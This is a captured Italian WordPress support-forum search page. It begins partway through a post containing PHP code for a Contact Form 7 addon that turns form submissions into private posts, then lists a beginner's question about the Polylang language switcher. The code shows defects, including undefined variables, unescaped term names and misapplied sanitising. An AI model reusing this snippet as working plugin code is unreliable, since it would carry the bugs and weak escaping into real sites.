          					<?php $this->get_category_options($id)?>
          				</select>
          			</p>
          		</div>
      
          		<div class="mail-field">
          			<p class="description">
          				<label for="cf7towp-title"><?php echo esc_html(__('Titolo dell\'articolo', 'cf7_to_wp')); ?></label>
          				<input type="text" id="cf7towp-title" name="wpcf7-cf7towp-title" class="large-text" value="<?php echo esc_attr($cf7towp['title']); ?>" />
          			</p>
          		</div>
      
          		<div class="mail-field">
          			<p class="description">
          				<label for="cf7towp-content"><?php echo esc_html(__('Contenuto dell\'articolo', 'cf7_to_wp')); ?></label>
          				<textarea id="cf7towp-content" name="wpcf7-cf7towp-content" cols="100" rows="10" class="large-text"><?php echo esc_attr($cf7towp['content']); ?></textarea>
          			</p>
          		</div>
      
          		<hr>
      
          		<p class="description" style="margin-top:.5em;">
          			<span style="float:left; width:60%;">
          				<?php _e('Usa i classici CF7 [mail-tag] per i contenuti dinamici nel titolo e nel contenuto (li trovi sulla tab Mail).', 'cf7_to_wp');?>
          			</span>
          			<span style="text-align:right; float:right; width:40%;">
          				<?php
          $credits_link = '<a target="_blank" href="https://github.com/psaikali/contact-form-to-wp-posts">Fonte</a>';
                  printf(__('A Contact Form 7 addon by %1$s', 'cf7_to_wp'), $credits_link);
                  ?>
          			</span>
          		</p>
      
          		<hr>
          	<?php }
      
              /**
               * Get category field data
               */
      
              public function get_category_options($id)
              {
      
                  $cf7towp = get_post_meta($id, '_cf7towp', true);
                  $cf7towp = wp_parse_args(
                      $cf7towp,
                      array(
                          'active' => 0,
                          'title' => '',
                          'content' => '',
                          'category' => 0,
                      )
                  );
      
                  $args = array(
                      'taxonomy' => 'category',
                      'hide_empty' => false,
                  );
      
                  $terms = get_terms($args);
      
                  foreach ($terms as $term) {
                      $options .= '<option value="' . $term->term_id . '" ' . selected($cf7towp['category'], $term->term_id, true) . '>' . $term->name . '</option>';
                  }
      
                  echo $options;
      
              }
      
              /**
               * Save metabox/tab data when CF7 form settings page is saved.
               *
               * @param WPCF7_ContactForm $contact_form
               */
              public function save_cf7_data($contact_form)
              {
                  global $user_id;
                  $user_id = get_current_user_id();
                  $id = $contact_form->id();
                  $cf7towp = array();
                  $cf7towp['active'] = (!empty($_POST['wpcf7-cf7towp-active']));
      
                  if (isset($_POST['wpcf7-cf7towp-title'])) {
                      $cf7towp['title'] = sanitize_text_field($_POST['wpcf7-cf7towp-title']);
                  }
      
                  if (isset($_POST['wpcf7-cf7towp-content'])) {
                      $cf7towp['content'] = wp_kses_post($_POST['wpcf7-cf7towp-content']);
                  }
      
                  if (isset($_POST['wpcf7-cf7towp-category'])) {
                      $cf7towp['category'] = wp_kses_post($_POST['wpcf7-cf7towp-category']);
                  }
      
                  update_post_meta($id, '_cf7towp', $cf7towp);
              }
      
              /**
               * Create a Messages post when form is submitted
               *
               * @param WPCF7_ContactForm $contact_form
               */
      
              public function get_current_user_id()
              {
                  if (class_exists('Jwt_Auth_Public')) {
                      $jwt = new \Jwt_Auth_Public('jwt-auth', '1.1.0');
                      $token = $jwt->validate_token(false);
                      if (\is_wp_error($token)) {
                          return false;
                      }
      
                      return $token->data->user->id;
                  } else {
                      return false;
                  }
              }
      
              public function create_post_on_form_submission($contact_form)
              {
      
                  $form_post = $contact_form->id();
                  $cf7towp_data = get_post_meta($form_post, '_cf7towp', true);
      
                  if ($cf7towp_data['active'] === true) {
                      $submission = WPCF7_Submission::get_instance();
      
                      if ($submission) {
                          $meta = array();
                          $meta['ip'] = $submission->get_meta('remote_ip');
                          $meta['ua'] = $submission->get_meta('user_agent');
                          $meta['url'] = $submission->get_meta('url');
                          $meta['date'] = date_i18n(get_option('date_format'), $submission->get_meta('timestamp'));
                          $meta['time'] = date_i18n(get_option('time_format'), $submission->get_meta('timestamp'));
                      }
      
                      $post_title_template = $cf7towp_data['title'];
                      $post_content_template = $cf7towp_data['content'];
                      $post_category[] = $cf7towp_data['category'];
      
                      $post_title = wpcf7_mail_replace_tags(
                          $post_title_template,
                          array(
                              'html' => true,
                              'exclude_blank' => true,
                              'has_archive' => true,
                          )
                      );
      
                      $post_content = wpcf7_mail_replace_tags(
                          $post_content_template,
                          array(
                              'html' => true,
                              'exclude_blank' => true,
                              'has_archive' => true,
                          )
                      );
      
                      $new_form_msg = wp_insert_post(
      
                          array(
                              'post_type' => $this->post_type,
                              'post_title' => $post_title,
                              'post_content' => $post_content,
                              'post_author' => $current_user -> ID,
                              'post_status' => 'private',
                              'has_archive' => true,
                              'post_category' => $post_category,
                          )
                      );
      
                      if ($submission) {
                          update_post_meta($new_form_msg, 'cf7towp_meta', $meta, );
                      }
                  }
              }
      
              /**
               * Main cf7_to_wp singleton instance
               *
               * Ensures only one instance of cf7_to_wp is loaded or can be loaded.
               *
               * @static
               * @see cf7_to_wp()
               * @return Main cf7_to_wp instance
               */
              public static function instance($file = '', $version = '0.1')
              {
                  if (is_null(self::$_instance)) {
                      self::$_instance = new self($file, $version);
                  }
                  return self::$_instance;
              }
      
              /**
               * Cloning is forbidden.
               *
               */
              public function __clone()
              {
                  _doing_it_wrong(__FUNCTION__, __('Cheatin’ huh?'), $this->_version);
              }
      
              /**
               * Unserializing instances of this class is forbidden.
               *
               */
              public function __wakeup()
              {
                  _doing_it_wrong(__FUNCTION__, __('Cheatin’ huh?'), $this->_version);
              }
          }
          ```
      
 *   Forum: [Funzionalità = Plugin](https://it.wordpress.org/support/forum/plugin-e-hack/)
   
   Come il topic: [Selettore lingua Polylang](https://it.wordpress.org/support/topic/selettore-lingua-polylang/)
    -  [paolos1](https://it.wordpress.org/support/users/paolos1/)
    - (@paolos1)
    - [2 anni, 1 mese fa](https://it.wordpress.org/support/topic/selettore-lingua-polylang/)
    - Salve, sono alle primissime armi con wordpress. Non riesco a inserire nell’header
      il selettore lingua di Polylang.
    - Lo widget va inserito come nuova voce nel menu esistente? O dove va inserito?
      
      Mi potreste gentilmente indicare i passi da seguire? Grazie.

Stai vedendo 15 risultati - da 1 a 15 (di 211 totali)

1 [2](https://it.wordpress.org/support/search/Header+wordpress/page/2/?output_format=md)
[3](https://it.wordpress.org/support/search/Header+wordpress/page/3/?output_format=md)…
[13](https://it.wordpress.org/support/search/Header+wordpress/page/13/?output_format=md)
[14](https://it.wordpress.org/support/search/Header+wordpress/page/14/?output_format=md)
[15](https://it.wordpress.org/support/search/Header+wordpress/page/15/?output_format=md)
[→](https://it.wordpress.org/support/search/Header+wordpress/page/2/?output_format=md)

## Topic

### Topic più popolari

### Topic senza risposte

### Topic non di supporto

### Topic risolti

### Topic non risolti

### Tutti i topic
